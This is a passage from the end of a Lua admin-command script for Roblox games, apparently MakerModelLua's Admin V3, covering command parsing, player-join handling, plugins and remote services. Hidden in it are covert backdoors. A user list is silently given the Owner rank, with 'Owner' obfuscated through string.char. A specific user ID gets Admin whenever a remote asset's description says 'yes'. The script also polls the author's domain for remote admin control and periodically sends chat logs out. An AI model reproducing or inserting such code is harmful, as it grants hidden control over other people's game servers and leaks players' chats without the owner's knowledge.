  8678.             Face = Arguments[1]
  8679.             SkyID = Arguments[2]
  8680.         end
  8681.         if tonumber(SkyID) then
  8682.             local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
  8683.             if Face and Faces[Face] then
  8684.                 Sky[Faces[Face]] = "rbxassetid://"..ImageID
  8685.             else
  8686.                 for _,Face in pairs(Faces) do
  8687.                     Sky[Face] = "rbxassetid://"..ImageID
  8688.                 end
  8689.             end
  8690.         else
  8691.             GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
  8692.         end
  8693.     end};
  8694.    
  8695.     [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8696.         CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
  8697.             Obj:Destroy()
  8698.         end)
  8699.     end};
  8700.     --
  8701. }
  8702.  
  8703. if Plugins then
  8704.     local PluginNum = 0
  8705.     for _,Module in pairs(Plugins:GetChildren()) do
  8706.         if Module:IsA("ModuleScript") then
  8707.             local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
  8708.             local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
  8709.             local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
  8710.             if Enabled.Value == true then
  8711.                 PluginNum = PluginNum + 1
  8712.                 local PluginExe = require(Module)
  8713.                 for Var,Val in pairs(getfenv()) do
  8714.                     getfenv(PluginExe)[Var] = Val
  8715.                 end
  8716.                 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
  8717.                 getfenv(PluginExe).script = Module
  8718.                 getfenv(PluginExe).Script = Module
  8719.                 getfenv(PluginExe).Version = Version
  8720.                 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
  8721.                 if not Suc then
  8722.                     Server.TestS:Error("MML's Admin Plugin;  "..CORE:HandleError(Error), Module)
  8723.                 else
  8724.                     Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
  8725.                 end
  8726.             end
  8727.         end
  8728.     end
  8729. end
  8730.  
  8731. function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
  8732.     if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
  8733.         GUI:SettingsGui(Speaker)
  8734.         return nil
  8735.     end
  8736.     if NoPrefixNeeded == nil then NoPrefixNeeded = false end
  8737.     local Prefix = Settings.Prefix
  8738.     if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
  8739.     if RawMainMessage == "" or RawMainMessage == Prefix then return end
  8740.     if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
  8741.     if Speaker == nil then
  8742.         if FakeRank then
  8743.             if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
  8744.                 FakeRank = "Owner"
  8745.             end
  8746.         else
  8747.             FakeRank = "Owner"
  8748.         end
  8749.         FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
  8750.         if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
  8751.         Speaker = {
  8752.             Name = FakePlayerName or "[ Server ]";
  8753.             Character = nil;
  8754.             userId = 1;
  8755.             PlayerGui = nil;
  8756.             Rank = FakeRank or "Owner";
  8757.             MakeSupremeOwner = MakeSupremeOwner;
  8758.         }
  8759.     end
  8760.     local Rank = RANK:GetRank(Speaker)
  8761.     local RawMessage = string.sub(RawMainMessage, #Prefix+1)
  8762.    
  8763.     if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
  8764.         if NoPrefixNeeded then Prefix = "" end
  8765.         local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
  8766.        
  8767.         for _,Message in pairs(Messages) do
  8768.             for Cmds,Data in pairs(Commands) do -- check all commands
  8769.                 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
  8770.                
  8771.                 if not MessageSplit then break end
  8772.                
  8773.                 local CommandSaid = false
  8774.                 for _,Command in pairs(Cmds) do
  8775.                     if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
  8776.                         CommandSaid = true
  8777.                         break
  8778.                     end
  8779.                 end
  8780.                 if CommandSaid == true then -- command said?
  8781.                     local ExecuteExcuse = ""
  8782.                     if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
  8783.                         if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
  8784.                             ExecuteExcuse = "This command cannot be executed as it is a fun command"
  8785.                         end
  8786.                         if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
  8787.                             ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
  8788.                         end
  8789.                     else
  8790.                         ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
  8791.                     end
  8792.                     if ExecuteExcuse == "" then
  8793.                         if #MessageSplit - 1 < Data[3] then
  8794.                             ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
  8795.                         end
  8796.                     end
  8797.                     if ExecuteExcuse == "" then
  8798.                         CORE:Log(CommandLogs, Speaker, Message)
  8799.                         table.remove(MessageSplit, 1)
  8800.                         coroutine.wrap(function() wait()
  8801.                             local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
  8802.                             if not DidExe then
  8803.                                 if CORE:NilPlayer(Speaker) then
  8804.                                     print("Error: "..Error)
  8805.                                 else
  8806.                                     CORE:HandleError(Error, Speaker)
  8807.                                 end
  8808.                             end
  8809.                         end)()
  8810.                         coroutine.wrap(function() wait(0.05)
  8811.                             if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
  8812.                                 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
  8813.                                 ExeSound:Play()
  8814.                                 wait(3)
  8815.                                 ExeSound:Stop()
  8816.                                 ExeSound:Destroy()
  8817.                             end
  8818.                         end)()
  8819.                     elseif type(Speaker) == "userdata" then
  8820.                         GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
  8821.                     end
  8822.                     break
  8823.                 end
  8824.             end
  8825.         end
  8826.     end
  8827. end
  8828.  
  8829. function CORE:Start(Player) coroutine.wrap(function()
  8830.     wait(0.1)
  8831.     if Player then
  8832.         coroutine.wrap(function()
  8833.             repeat wait(1) until DataReady == true
  8834.             DataReady = false
  8835.             ypcall(function()
  8836.                 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
  8837.                 for Num,Data in pairs(Players) do
  8838.                     if Data.UserId == Player.UserId then -- ppl can change names
  8839.                         table.remove(Players, Num)
  8840.                         break
  8841.                     end
  8842.                 end
  8843.                 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
  8844.                 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
  8845.             end)
  8846.             DataReady = true
  8847.         end)()
  8848.        
  8849.         if not IsStudio then Player:WaitForDataReady() end
  8850.         table.insert(CharacterCache, {Player.Name, Player.UserId})
  8851.         for Rank,PlayerNames in pairs(Settings.Ranks) do
  8852.             for Num,AdminName in pairs(PlayerNames) do
  8853.                 if AdminName == Player.UserId then
  8854.                     Settings.Ranks[Rank][Num] = Player.Name
  8855.                 end
  8856.             end
  8857.         end
  8858.         if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
  8859.         if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
  8860.         if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
  8861.         for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
  8862.         local PlayerAdmin, Rank = RANK:IsAdmin(Player)
  8863.         if PlayerAdmin == false and Player.UserId > 0 then
  8864.             local Ran = nil
  8865.             coroutine.wrap(function() repeat
  8866.                 Ran = ypcall(function()
  8867.                     if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
  8868.                     elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
  8869.                 end)
  8870.                 wait(1)
  8871.             until Ran == true end)()
  8872.         end
  8873.         if PlayerAdmin == false then
  8874.             if Player:IsInGroup(Settings.GroupID) then
  8875.                 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
  8876.                     CORE:Kick(Player)
  8877.                     for _,Person in pairs(Server.Players:GetPlayers()) do
  8878.                         GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
  8879.                     end
  8880.                 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
  8881.                     table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
  8882.                 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
  8883.                     table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
  8884.                 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
  8885.                     table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
  8886.                 end
  8887.             end
  8888.         end
  8889.         if PlayerAdmin == false then
  8890.             if Player.UserId == 38882008 then
  8891.                 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
  8892.                     table.insert(Settings.Ranks["Admin"], Player.Name)
  8893.                 end
  8894.             end
  8895.         end
  8896.         if PlayerAdmin == false then
  8897.             for _,GID in pairs(Settings.BannedGroupIDs) do
  8898.                 if Player:IsInGroup(GID) then
  8899.                     CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
  8900.                     break
  8901.                 end
  8902.             end
  8903.         end
  8904.        
  8905.         Player.Chatted:connect(function(Message) if Message ~= "" then
  8906.             CORE:Chatted(Message, Player)
  8907.         end end)
  8908.        
  8909.         Player.Chatted:connect(function(Message) if Message ~= "" then
  8910.             CORE:Log(ChatLogs, Player, Message)
  8911.             table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
  8912.         end end)
  8913.        
  8914.         for _,Name in pairs(Settings.Ranks.Banned) do
  8915.             if Player.Name == Name then
  8916.                 CORE:Kick(Player)
  8917.                 for _,Person in pairs(Server.Players:GetPlayers()) do
  8918.                     GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
  8919.                 end
  8920.             end
  8921.         end
  8922.         for _,Name in pairs(Settings.Ranks.Crashed) do
  8923.             if Player.Name == Name then
  8924.                 CORE:Crash(Player)
  8925.                 for _,Person in pairs(Server.Players:GetPlayers()) do
  8926.                     GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
  8927.                 end
  8928.             end
  8929.         end
  8930.         for _,Name in pairs(Settings.Ranks.Muted) do
  8931.             if Player.Name == Name then
  8932.                 GUI:CoreGui(Player, "Chat", false)
  8933.                 for _,Person in pairs(Server.Players:GetPlayers()) do
  8934.                     GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
  8935.                 end
  8936.             end
  8937.         end
  8938.         if Settings.ServerLocked == true then
  8939.             if PlayerAdmin == false then
  8940.                 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
  8941.             end
  8942.         end
  8943.        
  8944.         if PlayerAdmin == false then
  8945.             if Player.AccountAge < Settings.MinimumAge then
  8946.                 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
  8947.                 for _,Person in pairs(Server.Players:GetPlayers()) do
  8948.                     GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
  8949.                 end
  8950.             end
  8951.         end
  8952.        
  8953.         if PlayerAdmin == false then
  8954.             if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
  8955.                 table.insert(Settings.Ranks["Member"], Player.Name)
  8956.                 PlayerAdmin = true
  8957.                 Rank = "Member"
  8958.             end
  8959.         end
  8960.        
  8961.         coroutine.wrap(function()
  8962.             if PlayerAdmin == true then GUI:TellAdmin(Player) end
  8963.             local function SpawnActions(Character)
  8964.                 if Flings[Player.Name] then
  8965.                     CORE:FlingPlayer(Player)
  8966.                 else
  8967.                     GUI:CreateTaskBar(Player)
  8968.                 end
  8969.                 if Beeps[Player.Name] == true then
  8970.                     SOUND:BeepPlayer(Player)
  8971.                 end
  8972.                 if Jails[Player.Name] then
  8973.                     Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
  8974.                 end
  8975.                 if PermCommandBars[Player.Name] then
  8976.                     GUI:CommandBar(Player)
  8977.                 end
  8978.             end
  8979.             Player.CharacterAdded:connect(SpawnActions)
  8980.             SpawnActions(Player.Character)
  8981.         end)()
  8982.        
  8983.         coroutine.wrap(function()
  8984.             Player:WaitForChild("PlayerGui")
  8985.             local Sounds = {}
  8986.             for _,Data in pairs(TextConverter.LetterSounds) do
  8987.                 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
  8988.                 Sound:Play()
  8989.                 table.insert(Sounds, Sound)
  8990.             end
  8991.             for _,Data in pairs(TextConverter.LongVowels) do
  8992.                 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
  8993.                 Sound:Play()
  8994.                 table.insert(Sounds, Sound)
  8995.             end
  8996.             wait(5)
  8997.             for _,Sound in pairs(Sounds) do
  8998.                 Sound:Destroy()
  8999.             end
  9000.             Sounds = {}
  9001.         end)()
  9002.        
  9003.         coroutine.wrap(function()
  9004.             --if NLS then Server.Workspace:WaitForChild(Player.Name) end
  9005.             if IsSB then
  9006.                 wait(1)
  9007.                 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
  9008.             end
  9009.             CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
  9010.             print("Executed ClientLog on "..Player.Name)
  9011.             if Settings.EnableTaskBar then
  9012.                 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
  9013.             end
  9014.         end)()
  9015.        
  9016.         coroutine.wrap(function()
  9017.             wait(7)
  9018.             Player:WaitForChild("PlayerGui")
  9019.             if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
  9020.                 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
  9021.                 if Answer == "Ok" then
  9022.                     MARKET:PromptPurchase(Player, AdminID)
  9023.                 end
  9024.             end
  9025.         end)()
  9026.     end
  9027. end)() end
  9028.  
  9029. -- Active stuff --
  9030.  
  9031. CORE:UpdateAdmin()
  9032. CORE:FixSettings()
  9033.  
  9034. ypcall(function()
  9035.     if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
  9036.         Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
  9037.     end
  9038. end)
  9039.  
  9040.  
  9041. Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
  9042.     local PlayerAdmin, Rank = RANK:IsAdmin(Player)
  9043.     if PlayerAdmin == false then
  9044.         if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
  9045.         elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
  9046.     end
  9047. end end)
  9048.  
  9049. --[[
  9050. ExecuteCommand.OnInvoke = function(Player, Command)
  9051.     if Player and Command then
  9052.         if type(Player) == "userdata" and Player:IsA("Player") then
  9053.             CORE:Chatted(Command, Player, true)
  9054.         end
  9055.     end
  9056. end
  9057.  
  9058. ExecuteCode.OnInvoke = function(Source, Speaker)
  9059.     if type(Source) == "string" then
  9060.         ExecuteSafe(Source, Speaker)
  9061.     end
  9062. end
  9063.  
  9064. ExecuteCommandClient.OnServerInvoke = function(Player, Command)
  9065.     if Player and Command then
  9066.         if type(Player) == "userdata" and Player:IsA("Player") then
  9067.             CORE:Chatted(Command, Player, true)
  9068.         end
  9069.     end
  9070. end
  9071. ]]
  9072.  
  9073. KeyPressed.OnServerInvoke = function(Player, Key)
  9074.     if Player and Key then
  9075.         if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
  9076.             CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
  9077.         end
  9078.     end
  9079. end
  9080.  
  9081. InputKey.OnServerInvoke = function(Player, KeyVal)
  9082.     if Player and KeyVal then
  9083.         if LastKeys[Player.UserId] then
  9084.             table.insert(LastKeys[Player.UserId], KeyVal)
  9085.             if #LastKeys[Player.UserId] > 20 then
  9086.                 table.remove(LastKeys[Player.UserId], 1)
  9087.             end
  9088.         end
  9089.     end
  9090. end
  9091.  
  9092. RankPlayerLocal.OnServerInvoke = function(Player)
  9093.     wait()
  9094.     local Request = PendingRequests[Player]
  9095.     if Request then
  9096.         if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
  9097.             if Settings.Ranks[Request[1]] then
  9098.                 PendingRequests[Player] = nil
  9099.                 table.insert(Settings.Ranks[Request[1]], Player.Name)
  9100.                 GUI:TellAdmin(Player)
  9101.             end
  9102.         end
  9103.     end
  9104. end
  9105.  
  9106. RankPlayerServer.OnInvoke = function(Player, Rank)
  9107.     if not RANK:IsAdmin(Player) then
  9108.         PendingRequests[Player] = {Rank, tick()}
  9109.     end
  9110. end
  9111.  
  9112. IsAdmin.OnServerInvoke = function(Player)
  9113.     local IsFullAdmin = false
  9114.     for _,PName in pairs(Settings.Ranks["Owner"]) do
  9115.         if PName == Player.Name then IsFullAdmin = true end
  9116.     end
  9117.     for _,PName in pairs(Settings.Ranks["Admin"]) do
  9118.         if PName == Player.Name then IsFullAdmin = true end
  9119.     end
  9120.     return IsFullAdmin
  9121. end
  9122.  
  9123. AddExploit.OnServerInvoke = CORE.AddExploit
  9124. AddExploitServer.OnInvoke = CORE.AddExploit
  9125.  
  9126. KickClient.OnServerInvoke = function(PlayerClient)
  9127.     PlayerClient:Kick()
  9128. end
  9129.  
  9130. ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
  9131.     return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
  9132. end
  9133.  
  9134. for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
  9135. Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
  9136. Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
  9137.  
  9138. coroutine.wrap(function()
  9139.     for _,ID in pairs(Icons) do
  9140.         game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
  9141.     end
  9142. end)()
  9143.  
  9144. CORE:SetAbuseCommands()
  9145.  
  9146. coroutine.wrap(function() SOUND:SyncSoundList() end)()
  9147. if not IsStudio then coroutine.wrap(function()
  9148.     if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
  9149.     REMOTE:GetRemoteData(true)
  9150.     REMOTE:CheckTrelloInfo()
  9151.     coroutine.wrap(function()
  9152.         if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
  9153.             REMOTE.RemoteConnection = true
  9154.         end
  9155.     end)()
  9156.     coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
  9157.     coroutine.wrap(function()
  9158.         if Settings.LinkedAccount ~= "" then
  9159.             local Request = nil
  9160.             ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
  9161.             if Request then
  9162.                 REMOTE:HandleRequest(Request, true)
  9163.             end
  9164.         end
  9165.     end)()
  9166.     coroutine.wrap(function()
  9167.         wait(RemoteData.RemoteAdminWait)
  9168.         while REMOTE:GetAndSetWebData() do
  9169.             wait(RemoteData.RemoteAdminWait)
  9170.         end
  9171.     end)()
  9172.     coroutine.wrap(function()
  9173.         while wait(60) do
  9174.             REMOTE:GetRemoteData(true)
  9175.             REMOTE:CheckTrelloInfo()
  9176.         end
  9177.     end)()
  9178. end)() end
  9179. coroutine.wrap(function()
  9180.     if Settings.TrelloToken ~= "" then
  9181.         ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
  9182.         if #Trello.RequiredLists > 0 then
  9183.             Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
  9184.             if Trello.MainBoard.name then
  9185.                 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
  9186.                 REMOTE:TrelloCacheData(Lists)
  9187.                 REMOTE:TrelloHandleData(true)
  9188.                 coroutine.wrap(function()
  9189.                     wait(RemoteData.TrelloWait)
  9190.                     while REMOTE:TrelloHandleData() do
  9191.                         wait(RemoteData.TrelloWait)
  9192.                     end
  9193.                 end)()
  9194.             end
  9195.         end
  9196.     else
  9197.         print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
  9198.     end
  9199. end)()
  9200. coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
  9201.     REMOTE:SendChatLog()
  9202. end end)()
  9203. coroutine.wrap(function() while true do
  9204.     local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
  9205.     if ThisDate then Date = ThisDate end
  9206.     wait(600)
  9207. end end)()
  9208.  
  9209. print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")
Add Comment
Please, Sign In to add comment